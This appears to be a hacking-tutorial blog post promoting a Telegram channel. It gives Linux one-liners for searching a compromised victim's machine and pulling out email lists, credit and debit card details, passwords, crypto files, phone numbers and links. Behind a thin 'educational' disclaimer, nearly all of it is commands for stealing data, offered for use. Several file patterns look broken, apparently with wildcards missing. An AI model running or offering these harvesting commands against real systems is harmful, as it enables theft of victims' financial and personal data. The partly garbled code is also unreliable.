Information gathering using Linux commands

Hello there! 👋 Are you curious about how hackers extract email lists and other sensitive information from your system without manually searching directories one by one? Let’s dive into how automated scripts can help gather email lists and useful information from a victim's machine.

🚨  ⚠️ Disclaimer: This post is for educational purposes only. The intent is to raise awareness about potential security vulnerabilities and to help you protect your own systems. Unauthorized access to computer systems is illegal and unethical. Always seek permission before testing or analyzing any systems that you do not own.

You’ll need a Linux shell with network connectivity and an initial foothold on the target machine. Due to limitations, we cannot share videos here (we never evade Telegram T&C in any situation).

Telegram POST***************************************
https://t.me/efxtv2/3729
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⭐️ Email (Unsorted Form):
grep -Re "[a-zA-Z0-9._]\+@[a-zA-Z]\+\.[a-zA-Z]\+" > saved.txt
grep -E -o '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}' .txt


⭐️ Grep Emails Only:
grep -oe "[a-zA-Z0-9._]\+@[a-zA-Z]\+\.[a-zA-Z]\+" saved.txt


⭐️ Unique Emails:
cat saved.txt | sort -u


⭐️ Get Cards from Dump:
clear; grep -R Expire: > credit.txt


⭐️ Final Card Details:
cat credit.txt | sed 's#:Expire:##g' | awk '{print "cat \""$1"\""}' | bash | grep -A4 'Holder:' > cc.txt


⭐️ Search for Debit Card Numbers (Assuming 16-digit numbers):
grep -E -o '\b[0-9]{4}([- ]?[0-9]{4}){3}\b' .txt


⭐️ Search for Social Media User Passwords (Common Patterns):
grep -E -i 'password[:= ]+[^ ]+' .txt


⭐️ Search for `.ext` Crypto Files:
find . -type f -name '.ext'


⭐️ Another Method for Searching Emails Using `find`:
find . -type f -name '.txt' -exec grep -E -o '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}' {} +


⭐️ Find phone numbers
grep -oE '\b[0-9]{3}[-.]?[0-9]{3}[-.]?[0-9]{4}\b' .txt


⭐️ Various Ways to Fetch All HTTP and HTTPS Links from a Directory:
find . -type f -name '.txt' -exec grep -Eo 'http[s]?://[^ ]+' {} + > found_links.txt
grep -Ero 'http[s]?://[^ ]+' ./.txt > found_links.txt
find . -type f -name '.txt' | xargs grep -Eo 'http[s]?://[^ ]+' > found_links.txt
find . -type f -name '.txt' -exec egrep -o 'http[s]?://[^ ]+' {} + > found_links.txt
find . -type f -name '.txt' -exec grep -Eo 'http[s]?://[^ ]+' {} + | awk '{print $0}' > found_links.txt
find . -type f -name '.txt' | while read file; do grep -Eo 'http[s]?://[^ ]+' "$file"; done > found_links.txt


That's all for now, folks! 🎉 We've explored some fascinating techniques for gathering information, but remember, with great power comes great responsibility. Always use your newfound knowledge ethically and responsibly.

Keep learning, stay curious, and stay safe out there! 💡 If you found this post helpful, don't forget to share it with your friends and colleagues.

Until next time, happy hacking! 😉🔒

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